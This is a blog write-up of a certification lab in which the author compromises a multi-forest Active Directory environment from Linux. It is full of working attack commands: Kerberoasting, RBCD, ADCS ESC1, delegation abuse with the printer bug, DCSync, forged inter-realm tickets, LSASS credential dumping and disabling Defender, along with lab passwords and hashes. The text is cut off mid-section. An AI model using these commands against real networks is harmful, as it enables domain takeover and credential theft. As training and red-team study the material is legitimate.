CRTE Lab: Pwning a Multi-Forest AD Environment Entirely from Linux
I recently completed the CRTE (Certified Red Team Expert) lab from Altered Security. If you’re not familiar with it, the lab is a massive multi-domain, multi-forest Active Directory environment packed with misconfigurations to exploit. The course material and almost every writeup out there walks you through it using Windows tools: PowerView, Rubeus, Mimikatz, the whole PowerShell-heavy workflow.
I did it differently. I attacked the entire lab from Kali Linux.
Why? Because that’s how I work on real engagements. I come from an OSCP background and I’ve spent most of my professional career attacking AD environments from Linux using impacket, netexec, certipy, bloodyAD, and the rest of the Linux AD toolkit. When I started CRTE, I wanted to see if I could get through the whole thing without switching my workflow. Turns out, you absolutely can.
So here it is. Every domain, every attack path, all from Linux.
Oh, and I also passed the CRTE exam from Linux. ;)
The Lab Environment
The CRTE lab is a multi-forest environment with the following domains:
- us.techcorp.local (child domain, starting point)
- techcorp.local (root/parent domain)
- eu.local (external forest, bidirectional trust with us.techcorp.local)
- euvendor.local (external forest, trust with eu.local)
- usvendor.local (external forest, trust with techcorp.local)
- bastion.local (external forest, trust with techcorp.local)
- production.local (external forest, PAM trust with bastion.local)
- db.local (accessible via MSSQL linked servers)
- dbvendor.local (external forest, trust with db.local)
Attack Graph
Here is an overview of all the attack paths I took through the lab. Each branch is documented in detail below.
graph TD
A[studentuser28<br/>us.techcorp.local] --> B[Priv Esc: Service Abuse<br/>Local Admin on Student VM]
B --> C[Ligolo + SSH Pivot Setup]
A --> K1[Kerberoasting<br/>serviceaccount:Password123]
A --> K2[Force Password Change<br/>SUPPORT28USER via bloodyAD]
A --> D[Add self to MachineAdmins<br/>bloodyAD]
D --> E[Local Admin on US-MGMT<br/>lsassy: mgmtadmin hash]
E --> F[RBCD on US-HELPDESK<br/>impacket addcomputer + rbcd + getST]
F --> G[lsassy: helpdeskadmin hash]
G --> H[Local Admin on US-ADCONNECT<br/>evil-winrm]
H --> I[Hybrid Identity Enumeration]
A --> L[Read LAPS Password<br/>US-MAILMGMT via bloodyAD]
L --> M[evil-winrm: provisioningsvc hash]
M --> N[gMSA: jumpone$ hash<br/>nxc --gmsa]
N --> O[Local Admin on US-JUMP1<br/>lsassy dump]
O --> P1[pawadmin hash<br/>ADCS ESC1 via certipy]
P1 --> P2[techcorp.local DA<br/>DCSync root domain]
O --> W1[webmaster hash<br/>Local Admin US-WEB]
W1 --> W2[Unconstrained Delegation<br/>Printer Bug + Rubeus]
W2 --> W3[US-DC TGT Captured<br/>ticketConverter + DCSync]
O --> CD1[appsvc hash<br/>Constrained Delegation]
CD1 --> CD2[Admin on US-MSSQL<br/>impacket-getST + secretsdump]
W3 --> EU1[EU.LOCAL<br/>Cross-forest Kerberoasting]
EU1 --> EU2[storagesvc:Qwerty@123<br/>Constrained Delegation]
EU2 --> EU3[EU-DC DCSync]
EU3 --> EUV1[EUVENDOR.LOCAL<br/>Inter-realm Ticket + SID History]
EUV1 --> EUV2[Admin on EUVENDOR-NET<br/>evil-winrm via Kerberos]
EUV2 --> EUV3[EUVENDOR-DC<br/>DCSync]
W2 --> USV1[USVENDOR.LOCAL<br/>Printer Bug from US-WEB]
USV1 --> USV2[USVENDOR-DC TGT<br/>ticketConverter + DCSync]
P2 --> BAS1[BASTION.LOCAL<br/>Trust abuse from techcorp DA]
BAS1 --> BAS2[BASTION-DC DCSync]
BAS2 --> PROD1[PRODUCTION.LOCAL<br/>Shadow Principals / PAM Trust]
CD2 --> DB1[DB.LOCAL<br/>MSSQL Linked Servers]
DB1 --> DB2[xp_cmdshell on DB-SQLPROD]
DB2 --> DB3[Shell on DB-SQLSRV<br/>as srvdba in db.local]
DB3 --> DBV1[DBVENDOR.LOCAL<br/>GenericAll ACL abuse]
DBV1 --> DBV2[Reset dbXsvc password<br/>FSP in db.local Admins]
DBV2 --> DB4[DB-DC Admin<br/>db.local DA]
style A fill:#e74c3c,color:#fff
style P2 fill:#27ae60,color:#fff
style W3 fill:#27ae60,color:#fff
style EU3 fill:#27ae60,color:#fff
style EUV3 fill:#27ae60,color:#fff
style USV2 fill:#27ae60,color:#fff
style BAS2 fill:#27ae60,color:#fff
style PROD1 fill:#27ae60,color:#fff
style DB4 fill:#27ae60,color:#fff
style DBV2 fill:#27ae60,color:#fff
Red = starting point. Green = domain compromised or objective reached.
Tools Used
| Tool | Purpose |
|---|---|
| impacket | Kerberoasting, RBCD, constrained/unconstrained delegation, secretsdump, ticketConverter, getST, smbexec, mssqlclient |
| netexec (nxc) | SMB enumeration, credential spraying, lsassy module, gMSA dump, MSSQL link enumeration |
| bloodyAD | ACL abuse, group membership changes, LAPS reads, password changes |
| certipy | ADCS enumeration and ESC1 exploitation |
| evil-winrm | WinRM shells via password, hash, or Kerberos |
| lsassy | Remote LSASS credential dumping |
| rusthound | BloodHound data collection from Linux via Kerberos |
| krbrelayx (printerbug.py) | Triggering the printer bug for unconstrained delegation |
| mssqlpwner | MSSQL link enumeration and exploitation |
| PFTP | Multi-protocol file transfer hub (HTTP/FTP/SMB) for serving tools and receiving exfiltrated data |
| ligolo-ng | Tunneling/pivoting |
| Rubeus | Monitor mode on Windows targets for unconstrained delegation (the one Windows tool I had to use on target) |
Setup
The only time we touch Windows directly is to gain local admin on the student VM and set up the tunneling. After that, everything runs from Kali.
Step 1: Privilege Escalation on the Student VM
The student VM is where you start. I RDP’d in and ran PowerUp to check for local privilege escalation vectors:
1
Invoke-AllChecks
PowerUp identified an abusable service (ALG). I used it to add my domain user to the local administrators group:
1
Invoke-ServiceAbuse -Name ALG -UserName "US\studentuser28"
Verified:
Now we have local admin on the student VM. This is needed for the next steps.
Step 2: SSH Setup (Initial Pivoting)
With local admin, I installed OpenSSH on the student VM to use it as a pivot. I downloaded the Win32-OpenSSH package, transferred it to the VM, and set it up:
1
2
cd "C:\Program Files\OpenSSH"
.\install-sshd.ps1
Open the firewall for SSH:
1
New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -LocalPort 22 -Action Allow
Start the service and set it to auto:
1
2
net start sshd
Set-Service sshd -StartupType Automatic
With SSH up, I could create a SOCKS proxy from Kali using dynamic port forwarding:
1
ssh -D 1080 studentuser28@<STUDENT_VM_IP>
Then use proxychains to route my tools through the tunnel. This worked, and you’ll see proxychains -q in front of my early commands for that reason.
Step 3: Switching to Ligolo-ng
SSH + SOCKS + proxychains works, but it gets annoying. Not all tools play nice with proxychains, and you’re constantly prefixing every command. I switched to ligolo-ng which is way cleaner.
On Kali, I created a tun interface and started the ligolo proxy:
1
2
3
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:443
Then on the student VM, I connected the ligolo agent back to my Kali:
1
.\agent.exe --connect <KALI_VPN_IP>:443 -ignore-cert
Once the agent connected, I added the route on Kali and started the tunnel. After that, every tool on my Kali box could reach the internal machines directly. No proxychains needed. This is the main advantage of ligolo over a SOCKS proxy: it creates a proper tun interface so all your tools just work natively.
You’ll notice my early commands use
proxychainsand later ones don’t. That’s because I initially used SSH + SOCKS before switching to ligolo. Once ligolo was up, proxychains was no longer necessary.
Tool Transfer with PFTP
To get tools onto compromised Windows machines, I used PFTP. It’s a multi-protocol file transfer hub I built specifically for pentesting. It serves tools over HTTP, FTP, and SMB simultaneously, with a web UI for browsing files and generating download commands. Setting it up:
1
2
3
pftp install
pftp start
pftp add-tool ~/tools/mimikatz.exe
On the student VM (now that we have admin), I set up a port forward so that internal machines could reach PFTP on my Kali through the student VM:
1
2
netsh interface portproxy add v4tov4 listenport=80 listenaddress=0.0.0.0 connectport=80 connectaddress=<KALI_IP>
netsh advfirewall firewall add rule name="PortProxy 80" protocol=TCP dir=in localport=80 action=allow
Now any compromised machine in the lab could download tools with:
1
iwr -Uri "http://<STUDENT_VM_IP>:80/mimikatz.exe" -OutFile "mimikatz.exe"
Kerberos Realm Configuration
When you’re doing Kerberos-based attacks from Linux, you need /etc/krb5.conf configured for each domain you interact with. I wrote a small helper script to make this painless:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash
# Usage: ./add_realm.sh <REALM> <KDC_IP>
REALM=$1
KDC_IP=$2
LOWER_REALM=$(echo "$REALM" | tr '[:upper:]' '[:lower:]')
if [[ -z "$REALM" || -z "$KDC_IP" ]]; then
echo "Usage: $0 <REALM> <KDC_IP>"
exit 1
fi
sudo sed -i "s/^\s*default_realm = .*/ default_realm = $REALM/" /etc/krb5.conf
grep -q "udp_preference_limit" /etc/krb5.conf || \
sudo sed -i "/default_realm/a\\ udp_preference_limit = 0" /etc/krb5.conf
sudo sed -i "/^\[realms\]/a\\ $REALM = {\n kdc = $KDC_IP\n admin_server = $KDC_IP\n }" /etc/krb5.conf
sudo sed -i "/^\[domain_realm\]/a\\ .$LOWER_REALM = $REALM\n $LOWER_REALM = $REALM" /etc/krb5.conf
echo "[+] Done. Realm $REALM added with KDC $KDC_IP"
The udp_preference_limit = 0 forces TCP for Kerberos, which avoids fragmentation issues with large tickets that you’ll inevitably hit when dealing with cross-forest TGTs.
Domain Enumeration: Computers and IPs
Before going any further, I needed a list of all machines in the domain and their IPs. This is something you do once and it saves you a ton of time later.
Get all computer hostnames:
1
2
nxc ldap 192.168.1.2 -u 'studentuser28' -p 'DNzx8jgndLqpWXN1' \
--computers | grep -oP 'LDAP.*\s\K\S+(?=\$)' | sed 's/$//' > computers.txt
Resolve all hostnames to IPs and save them:
1
2
3
4
cat computers.txt | while read host; do
ip=$(dig +short ${host}.us.techcorp.local @192.168.1.2)
echo "$ip ${host}.us.techcorp.local $host"
done | grep -v '^$' | awk '{print $1}' > ips.txt
Add everything to /etc/hosts:
1
2
3
4
cat computers.txt | while read host; do
ip=$(dig +short ${host}.us.techcorp.local @192.168.1.2)
echo "$ip ${host}.us.techcorp.local $host"
done | grep -v '^$' | sudo tee -a /etc/hosts
Now I can reference machines by hostname and have ips.txt ready for credential spraying later.
BloodHound Collection
For BloodHound data collection, I used RustHound which works natively from Linux and supports Kerberos authentication. This was essential for mapping out attack paths in foreign domains where I only had Kerberos tickets and no plaintext credentials.
Kerberoasting
From Kali, I ran impacket’s GetUserSPNs to find kerberoastable accounts:
1
2
3
impacket-GetUserSPNs -request -dc-ip '192.168.1.2' \
'us.techcorp.local/studentuser28:DNzx8jgndLqpWXN1' \
-outputfile kerberoasting.hashes
1
2
3
4
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------------------- -------------- -------- -------------------------- -------------------------- -----------
USSvc/serviceaccount serviceaccount 2019-07-16 03:03:27.644941 <never>
appsvc/us-jump.us.techcorp.local appsvc 2021-01-08 08:50:35.765601 2026-02-26 03:11:32.710988 constrained
Two accounts with SPNs. The appsvc account is interesting because it has constrained delegation configured, but we’ll get to that later.
Cracking with hashcat:
1
sudo hashcat -m 13100 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force
serviceaccount:Password123. Classic.
Force Password Change on SUPPORT28USER
According to BloodHound, my student user has the ability to force-change the password of SUPPORT28USER. Using bloodyAD:
1
2
3
bloodyAD --host '192.168.1.2' -d 'us.techcorp.local' \
-u 'studentuser28' -p 'DNzx8jgndLqpWXN1' \
set password 'SUPPORT28USER' 'DNzx8jgndLqpWXN1'
Path 1: MachineAdmins -> US-MGMT -> RBCD -> ADConnect
This is the longest chain in the lab and touches several attack techniques. Let me walk through it step by step.
Adding Myself to MachineAdmins
According to BloodHound, studentuser28 has the rights to add members to the MACHINEADMINS group, which has local admin rights on US-MGMT. Using bloodyAD:
1
2
3
proxychains -q bloodyAD --host 192.168.1.2 -d 'us.techcorp.local' \
-u 'studentuser28' -p 'DNzx8jgndLqpWXN1' \
add groupMember 'MACHINEADMINS' 'studentuser28'
Verify local admin on US-MGMT:
1
proxychains -q nxc smb 192.168.1.31 -u 'studentuser28' -p 'DNzx8jgndLqpWXN1'
Pwn3d!. We’re in.
Dumping Credentials from US-MGMT
First, I disabled Defender and the firewall on the target to allow credential dumping:
1
2
proxychains -q nxc smb 192.168.1.31 -u 'studentuser28' -p 'DNzx8jgndLqpWXN1' \
-X 'Set-MpPreference -DisableRealtimeMonitoring $true; netsh advfirewall set allprofiles state off'
(I forgot to screenshot this one.)
Then I used lsassy via nxc to pull credentials from LSASS memory:
1
proxychains -q nxc smb 192.168.1.31 -u 'studentuser28' -p 'DNzx8jgndLqpWXN1' -M lsassy
Got mgmtadmin:e53153fc2dc8d4c5a5839e46220717e5.
As an alternative, lsassy can also be used standalone:
1
2
proxychains lsassy -u studentuser28 -p DNzx8jgndLqpWXN1 \
-d us.techcorp.local -dc-ip 192.168.1.2 192.168.1.31 -v
Verified the hash works:
1
nxc smb 192.168.100.28 -u 'mgmtadmin' -H 'e53153fc2dc8d4c5a5839e46220717e5'
RBCD Attack on US-HELPDESK
According to BloodHound, mgmtadmin has GenericWrite over the US-HELPDESK$ computer object. This means we can configure Resource-Based Constrained Delegation (RBCD) to impersonate any user to US-HELPDESK.
The RBCD attack from Linux requires three steps:
1. Create a computer object (as any domain user, since the default ms-DS-MachineAccountQuota is 10):
1
2
3
4
5
6
7
proxychains -q impacket-addcomputer \
-method LDAPS \
-computer-name 'ATTACKERSYSTEM$' \
-computer-pass 'Summer2018!' \
-dc-host 192.168.1.2 \
-domain-netbios us.techcorp.local \
'us.techcorp.local/studentuser28:DNzx8jgndLqpWXN1'
2. Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on US-HELPDESK, delegating from our fake computer:
1
2
3
4
5
6
7
proxychains -q impacket-rbcd \
-dc-host 192.168.1.2 \
-delegate-from 'ATTACKERSYSTEM$' \
-delegate-to 'US-HELPDESK$' \
-action 'write' \
-hashes ':e53153fc2dc8d4c5a5839e46220717e5' \
'us.techcorp.local/mgmtadmin'
3. Request a service ticket impersonating Administrator:
1
2
3
4
5
proxychains -q impacket-getST \
-spn 'cifs/US-HELPDESK.us.techcorp.local' \
-impersonate 'administrator' \
-dc-ip 192.168.1.2 \
'us.techcorp.local/ATTACKERSYSTEM$:Summer2018!'
This gives us a .ccache file with a CIFS service ticket as Administrator. Under the hood, impacket performs S4U2Self followed by S4U2Proxy. The KDC checks the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on US-HELPDESK, sees that ATTACKERSYSTEM$ is allowed to delegate, and issues the ticket.
Dumping US-HELPDESK
With the RBCD ticket, I ran mimikatz on US-HELPDESK to dump logged-in credentials:
1
C:\temp\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'exit'
I also added my user to the local administrators group on US-HELPDESK:
Verified:
Then dumped credentials using lsassy:
1
2
proxychains -q lsassy -u studentuser28 -p DNzx8jgndLqpWXN1 \
-d us.techcorp.local -dc-ip 192.168.1.2 192.168.1.44 -v
1
proxychains -q nxc smb 192.168.1.44 -u 'studentuser28' -p 'DNzx8jgndLqpWXN1' -M lsassy
Got helpdeskadmin:94b4a7961bb45377f6e7951b0d8630be.
Verified:
1
proxychains -q nxc smb 192.168.1.2 -u 'helpdeskadmin' -H '94b4a7961bb45377f6e7951b0d8630be'
Hunting for Admin Access with helpdeskadmin
With the helpdeskadmin hash, I sprayed it across all machines to see where this account has admin access:
1
nxc smb ips.txt -u 'helpdeskadmin' -H '94b4a7961bb45377f6e7951b0d8630be'
helpdeskadmin is local admin on US-ADCONNECT. That’s a juicy target because ADConnect machines store credentials for the Azure AD / Entra Connect synchronization service.
US-ADCONNECT: Hybrid Identity
WinRM in with evil-winrm:
1
evil-winrm -i '192.168.1.209' -u 'helpdeskadmin' -H '94b4a7961bb45377f6e7951b0d8630be'
Confirmed the ADSync service is running:
1
Get-Service -Name ADSync
I also checked from Linux whether any MSOL_ accounts exist in the domain:
1
2
nxc ldap 192.168.1.2 -u 'helpdeskadmin' -H '94b4a7961bb45377f6e7951b0d8630be' \
--users | grep -i "MSOL_\|AADConnect\|ADConnect"
Dumped LSASS on US-ADCONNECT with mimikatz (after disabling Defender):
1
.\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'sekurlsa::evasive-keys' 'exit'
Got the adconnect user hash: 4e150424ccf419d83ce3a8ad1db7b94a and the machine account credentials for US-ADCONNECT$.
I tried multiple tools to extract the MSOL_ cleartext password from the ADSync database but couldn’t find an active MSOL user or MSSQL instance on this server. This might be an issue with the lab environment itself, since it’s a shared environment with other students and it’s possible that unexpected changes happen. This path ended here for me.
Path 2: LAPS -> gMSA -> US-JUMP1
Reading LAPS Password
According to BloodHound, the Students group can read the LAPS password on US-MAILMGMT. bloodyAD makes this trivial:
1
2
3
4
proxychains -q bloodyAD --host 192.168.1.2 -d us.techcorp.local \
-u studentuser28 -p DNzx8jgndLqpWXN1 \
get search --filter '(ms-mcs-admpwdexpirationtime=*)' \
--attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
The LAPS password for US-MAILMGMT’s local Administrator: #gH0hRoG%CccS5
Getting provisioningsvc from US-MAILMGMT
WinRM in as Administrator:
1
evil-winrm -i 'US-MAILMGMT' -u 'administrator' -p '#gH0hRoG%CccS5'
Ran mimikatz and pulled provisioningsvc:44dea6608c25a85d578d0c2b6f8355c4 from LSASS.
Reading gMSA Password
According to BloodHound, provisioningsvc has permission to read the gMSA password for the jumpone$ account. netexec has a built-in module for this:
1
2
nxc ldap 192.168.1.2 -u provisioningsvc \
-H 44dea6608c25a85d578d0c2b6f8355c4 --gmsa
jumpone$:4636eee3131055e54e9c0cbded216ff5
gMSA (Group Managed Service Accounts) passwords are automatically rotated by AD. They’re stored as a blob in the msDS-ManagedPassword attribute and only principals listed in msDS-GroupMSAMembership can read them. nxc’s --gmsa flag handles the LDAP query and password derivation for you.
Hunting with jumpone$
1
nxc smb ips.txt -u 'jumpone$' -H 4636eee3131055e54e9c0cbded216ff5
jumpone$ is local admin on US-JUMP1.
Looting US-JUMP1
Dumped LSASS from US-JUMP1:
1
nxc smb us-jump1 -u 'jumpone$' -H 4636eee3131055e54e9c0cbded216ff5 -M lsassy
This machine was a goldmine. Multiple credentials:
| User | Hash | What it leads to |
|---|---|---|
| pawadmin | 36ea28bfa97a992b5e85bd22485e8d52 | ADCS ESC1 -> techcorp.local DA |
| webmaster | 23d6458d06b25e463b9666364fb0b29f | Unconstrained delegation on US-WEB |
| appsvc | 1d49d390ac01d568f0ee9be82bb74d4c | Constrained delegation to US-MSSQL |
US-JUMP1 is a branching point. Three major paths open up from here.
Path 2a: ADCS ESC1 -> techcorp.local Domain Admin
According to BloodHound, pawadmin has enrollment rights on the FORADMINSOFPRIVILEGEDACCESSWORKSTATIONS certificate template, and this template is vulnerable to ESC1. ESC1 means the template allows the requester to specify a Subject Alternative Name (SAN), so we can request a certificate as any user.
The target here is the root domain techcorp.local. Using certipy:
1
2
3
4
5
6
7
certipy req -u '[email protected]' \
-hashes ':36ea28bfa97a992b5e85bd22485e8d52' \
-dc-ip 192.168.1.2 \
-ca TECHCORP-DC-CA \
-template FORADMINSOFPRIVILEGEDACCESSWORKSTATIONS \
-upn [email protected] \
-target 192.168.1.1
This gives us a .pfx certificate file with the [email protected] UPN baked into the SAN.
Authenticate with the certificate:
1
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.1
Certipy performs PKINIT authentication using the certificate and gets us a TGT as [email protected] saved as a .ccache file. Under the hood, it’s using the certificate’s private key to complete the Kerberos AS-REQ pre-authentication, proving to the KDC that we hold the private key corresponding to the certificate issued for Administrator.
Verify by getting a shell:
1
2
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass techcorp-dc.techcorp.local
Root domain compromised. Let’s DCSync it:
1
2
3
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass techcorp-DC.techcorp.local \
-outputfile DCSync_techcorp.local -pwd-last-set -user-status
Key hashes from techcorp.local:
1
2
3
Administrator:500:...:bc4cf9b751d196c4b6e1a2ba923ef33f:::
krbtgt:502:...:7735b8be1edda5deea6bfbacb7f2c3e7:::
MSOL_16fb75d0227d:1104:...:c1db8cdcb7a89f56dd00b77e384c2c9c:::
Trust keys were also dumped, which we’ll need later for cross-forest attacks.
Path 2b: Unconstrained Delegation via US-WEB
webmaster is local admin on US-WEB, and US-WEB is configured for unconstrained delegation. When a machine has unconstrained delegation enabled, any user that authenticates to it will leave their TGT cached on that machine. If we can coerce a Domain Controller to authenticate to US-WEB, we capture the DC’s TGT and can DCSync the domain.
Getting on US-WEB
Verified admin access:
1
nxc smb us-web -u 'webmaster' -H 23d6458d06b25e463b9666364fb0b29f
WinRM in:
1
evil-winrm -i 'us-web' -u 'webmaster' -H '23d6458d06b25e463b9666364fb0b29f'
Disabled Defender and firewall:
1
Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; netsh advfirewall set allprofiles state off
Dumped the machine account hash with mimikatz:
1
.\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'exit'
Got US-WEB$:892ca1e8d4343c652646b59b51779929.
Note: I tried DCSync at this point with the US-WEB$ machine account and it failed. The reason is that having
DS-Replication-Get-Changesalone is not enough to perform DCSync. You also needDS-Replication-Get-Changes-All. Both permissions are required together.
Triggering the Printer Bug
Uploaded Rubeus to US-WEB via PFTP and started monitoring for incoming TGTs:
1
2
iwr -Uri "http://192.168.100.28:80/Rubeus.exe" -OutFile "Rubeus.exe"
.\Rubeus.exe monitor /interval:5 /nowrap
From Kali, I used printerbug.py from the krbrelayx toolkit to coerce the DC to authenticate to US-WEB:
1
2
3
python ./printerbug.py \
us.techcorp.local/studentuser28:[email protected] \
US-WEB.us.techcorp.local
The printer bug abuses the MS-RPRN RPC interface. Any authenticated domain user can call RpcRemoteFindFirstPrinterChangeNotificationEx on the DC, which causes the DC to authenticate back to a host of our choosing. Because US-WEB has unconstrained delegation, the DC’s TGT gets cached.
Back on Rubeus:
TGT for US-DC$ captured.
Converting the Ticket and DCSync
The captured ticket is in Rubeus’s base64 kirbi format. To use it from Linux, I needed to convert it:
1
2
3
echo "<base64_ticket>" | base64 -d > DC_ticket.kirbi
impacket-ticketConverter DC_ticket.kirbi DC_ticket.ccache
export KRB5CCNAME=DC_ticket.ccache
Before using the ticket, I made sure the Kerberos realm was configured:
1
./kerb_auth.sh US.TECHCORP.LOCAL 192.168.1.2
Verified the ticket:
1
klist
1
2
3
4
5
Ticket cache: FILE:DC_ticket.ccache
Default principal: [email protected]
Valid starting Expires Service principal
03/01/2026 23:04:12 03/02/2026 09:04:08 krbtgt/[email protected]
DCSync:
1
2
impacket-secretsdump -k -no-pass US-DC.us.techcorp.local \
-just-dc -outputfile DCSync -pwd-last-set -user-status -history
us.techcorp.local fully compromised. Key hashes:
1
2
Administrator:500:...:43b70d2d979805f419e02882997f8f3f:::
krbtgt:502:...:b0975ae49f441adc6b024ad238935af5:::
Path 2c: Constrained Delegation to US-MSSQL
According to BloodHound, appsvc is configured for constrained delegation to CIFS/us-mssql.us.techcorp.local. This means we can request a service ticket impersonating any user (like Administrator) to the CIFS service on US-MSSQL.
1
2
3
4
5
6
impacket-getST \
-spn CIFS/us-mssql.us.techcorp.local \
-impersonate Administrator \
us.techcorp.local/appsvc \
-hashes ':1d49d390ac01d568f0ee9be82bb74d4c' \
-dc-ip 192.168.1.2
1
export KRB5CCNAME='Administrator@[email protected]'
Verify:
1
nxc smb us-mssql.us.techcorp.local --use-kcache --shares
Full admin access. Disabled Defender via smbexec:
1
impacket-smbexec -k -no-pass -shell-type powershell -debug us-mssql.us.techcorp.local
1
Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; netsh advfirewall set allprofiles state off
Then dumped everything:
1
impacket-secretsdump 'us.techcorp.local/administrator'@us-mssql.us.techcorp.local -k -no-pass
Notable finding from the LSA secrets:
1
2
[*] _SC_MSSQLSERVER
US\dbservice:Us$r4RunningSQLSvc
The MSSQL service account password in cleartext, pulled from the LSA secret store.
Also ran lsassy for good measure:
1
lsassy -k --no-pass -d us.techcorp.local us-mssql.us.techcorp.local
EU.LOCAL: Cross-Forest Kerberoasting + Constrained Delegation
Now we move to external forests. eu.local has a bidirectional trust with us.techcorp.local, which means we can query it with our us.techcorp.local credentials.
Cross-Forest Kerberoasting
impacket’s GetUserSPNs supports the -target-domain flag to kerberoast across trusts:
1
2
3
4
impacket-GetUserSPNs -request \
'us.techcorp.local/studentuser28:DNzx8jgndLqpWXN1' \
-outputfile kerberoasting.hashes \
-target-domain eu.local
Cracking:
1
sudo hashcat -m 13100 kerberoasting.hashes ../10k-worst-pass.txt --force
storagesvc:Qwerty@123
Constrained Delegation to EU-DC
According to BloodHound, storagesvc has constrained delegation configured to the time service on EU-DC. The -altservice flag in impacket lets us swap the service name in the ticket (since the service name isn’t in the encrypted part of the ticket). We change it to cifs for file system access:
1
2
3
4
5
6
impacket-getST \
-spn time/EU-DC.eu.local \
-impersonate Administrator \
'eu.local/STORAGESVC:Qwerty@123' \
-dc-ip 192.168.12.1 \
-altservice 'cifs'
DCSync EU.LOCAL:
1
2
export KRB5CCNAME='Administrator@[email protected]'
impacket-secretsdump -k -no-pass eu.local/[email protected] -just-dc-ntlm
EU.LOCAL compromised.
1
2
3
Administrator:500:...:fe422f818eb7e9c6de5862d94739c2e4:::
krbtgt:502:...:83ac1bab3e98ce6ed70c9d5841341538:::
EUVENDOR$:1107:...:1c51a0eba335a6409aac1e7990bc1f7d:::
That EUVENDOR$ hash is the inter-realm trust key. We need it for the next step.
EUVENDOR.LOCAL: Inter-Realm Golden Ticket with SID History
euvendor.local trusts eu.local. With the EU.LOCAL krbtgt hash and the trust key, we can forge inter-realm tickets and escalate into EUVENDOR.LOCAL.
Enumeration with RustHound
First, I collected BloodHound data from euvendor.local using RustHound with Kerberos authentication:
1
2
3
4
5
6
7
8
9
./kerb_auth.sh euvendor.local 192.168.12.212
impacket-getTGT eu.local/administrator \
-hashes ':fe422f818eb7e9c6de5862d94739c2e4' \
-dc-ip 192.168.12.1
export KRB5CCNAME='administrator.ccache'
rusthound -d 'euvendor.local' -i 192.168.12.212 \
-u '[email protected]' \
-f 'euvendor-dc.euvendor.local' \
-k -z --fqdn-resolver -v
I also verified access over SMB:
1
nxc smb 192.168.12.212 --use-kcache -u administrator --shares
Browsing the shares with impacket:
1
impacket-smbclient -k -no-pass EUVENDOR-DC.euvendor.local
Finding the Target Group
In BloodHound, I queried for custom groups in EUVENDOR.LOCAL:
1
MATCH (n:Group) WHERE n.domain = "EUVENDOR.LOCAL" AND toInteger(last(split(n.objectid, "-"))) > 1000 RETURN n
Found EUADMINS with RID 1103. This is the group we want to inject into our ticket via SID History.
Forging the Inter-Realm Ticket
Using impacket’s ticketer.py, I forged a TGT for the eu.local -> euvendor.local trust, injecting the EUADMINS SID as an extra SID (SID History):
1
2
3
4
5
6
7
ticketer.py \
-nthash '1c51a0eba335a6409aac1e7990bc1f7d' \
-domain-sid "S-1-5-21-3657428294-2017276338-1274645009" \
-domain "EU.LOCAL" \
-extra-sid "S-1-5-21-4066061358-3942393892-617142613-1103" \
-spn "krbtgt/EUVENDOR.LOCAL" \
"administrator"
This creates a referral TGT (an inter-realm ticket) encrypted with the trust key. The -extra-sid flag adds the EUADMINS group SID to the PAC’s SID History field. When EUVENDOR-DC receives this ticket and decrypts it with the trust key, it sees the SID History and grants us the privileges of that group. This works because SIDFilteringForestAware is True between eu.local and euvendor.local, which means SIDs with RID > 1000 are allowed through the filter.
Now request a service ticket for CIFS:
1
2
3
4
5
KRB5CCNAME="administrator.ccache"
getST.py -k -no-pass \
-spn "CIFS/EUVENDOR-DC.euvendor.local" \
"EUVENDOR.LOCAL/[email protected]" \
-dc-ip 192.168.12.212
Verify:
1
2
export KRB5CCNAME=[email protected]@[email protected]
nxc smb 192.168.12.212 --use-kcache -u administrator --shares
We don’t have admin on the DC itself, but the EUADMINS group has admin rights on other machines. Trying EUVENDOR-NET:
1
2
3
4
5
6
7
8
9
10
11
ticketer.py -nthash '1c51a0eba335a6409aac1e7990bc1f7d' \
-domain-sid "S-1-5-21-3657428294-2017276338-1274645009" \
-domain "EU.LOCAL" \
-extra-sid "S-1-5-21-4066061358-3942393892-617142613-1103" \
-spn "krbtgt/EUVENDOR.LOCAL" "administrator"
KRB5CCNAME="administrator.ccache"
getST.py -k -no-pass \
-spn "CIFS/EUVENDOR-NET.euvendor.local" \
"EUVENDOR.LOCAL/[email protected]" \
-dc-ip 192.168.12.212
1
2
export KRB5CCNAME=[email protected]@[email protected]
nxc smb 192.168.12.9 --use-kcache -u administrator --shares
Admin on EUVENDOR-NET confirmed. For WinRM access, I requested an HTTP service ticket:
1
2
3
4
5
export KRB5CCNAME=administrator.ccache
getST.py -k -no-pass \
-spn "HTTP/EUVENDOR-NET.euvendor.local" \
"EUVENDOR.LOCAL/[email protected]" \
-dc-ip 192.168.12.212
1
2
export KRB5CCNAME='[email protected]@[email protected]'
evil-winrm -i EUVENDOR-NET.euvendor.local -r euvendor.local
Shell on EUVENDOR-NET via pure Kerberos authentication from Linux.
From EUVENDOR-NET to EUVENDOR-DC
From EUVENDOR-NET, I dumped credentials from LSASS to look for accounts with access to the DC. I forgot to take proper notes on this part (I know, I know), but the idea is straightforward: dump credentials on EUVENDOR-NET using mimikatz or lsassy, find a privileged account or the machine account hash, and use that to DCSync EUVENDOR-DC or use storagesvc’s constrained delegation from eu.local with the -altservice flag to request an LDAP ticket for EUVENDOR-DC, then DCSync.
EUVENDOR.LOCAL compromised.
USVENDOR.LOCAL: Printer Bug from US-WEB
Since we still have access to US-WEB (unconstrained delegation machine), we can use the printer bug again, this time targeting the USVENDOR-DC.
Set up Rubeus monitor on US-WEB:
1
evil-winrm -i us-web -u webmaster -p '0wnerOftheIntraNetz!'
1
2
